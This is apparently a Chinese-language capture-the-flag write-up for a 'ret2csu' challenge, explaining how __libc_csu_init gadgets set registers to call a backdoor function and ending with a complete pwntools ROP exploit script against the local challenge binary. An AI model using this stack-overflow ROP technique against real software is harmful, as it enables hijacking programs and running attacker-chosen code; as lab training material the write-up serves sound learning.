ret2csu

先checksec一波,no canry ,no pie

image.png

从IDA可以看到程序存在栈溢出漏洞和一个后门函数

漏洞函数
后门函数

但是这个后门函数需要三个参数,a1,a2随意,a3需要为0xdeadcafebabebeef,找一下gadget

image.png

并没有如pop rdx , mov rdx的gadget,这个时候,我们可以利用__libc_csu_init中的gadget

__libc_csu_init

可以控制 r15,r14,r13的值 来达到控制 rdx,rsi,rdi的目的,这里因为有一个坑,setvbuf函数在调用的时候会将rdx赋值为0xffffffff,这样的话就不能成功调用ret2win了,所以找一个初始化函数调用一下
exp:

#-*-coding:utf-8-*-
from pwn import *
p = process('./ret2csu')
context.log_level = 'debug'
init = 0x600E10   #初始化函数地址
rop_1 = 0x400880
rop_2 = 0x40089a
ret2win = 0x4007B1
payload = 0x20*'a'
payload += p64(0)  #rbp
payload += p64(rop_2)
payload += p64(0)   #rbx
payload += p64(1)   #rbp
payload += p64(init)   #r12
payload += p64(0)   #r13
payload += p64(0)   #r14
payload += p64(0xdeadcafebabebeef)   #r15
payload += p64(rop_1)
payload += p64(0)   #add rsp,8可以理解为pop操作,但是没有pop到寄存器,而有丢弃掉
payload += p64(0)   #rbx
payload += p64(0)   #rbp
payload += p64(0)   #r12
payload += p64(0)   #r13
payload += p64(0)   #r14
payload += p64(0)   #r15
payload += p64(ret2win)
p.sendline(payload)
p.interactive()

你可能感兴趣的:(ret2csu)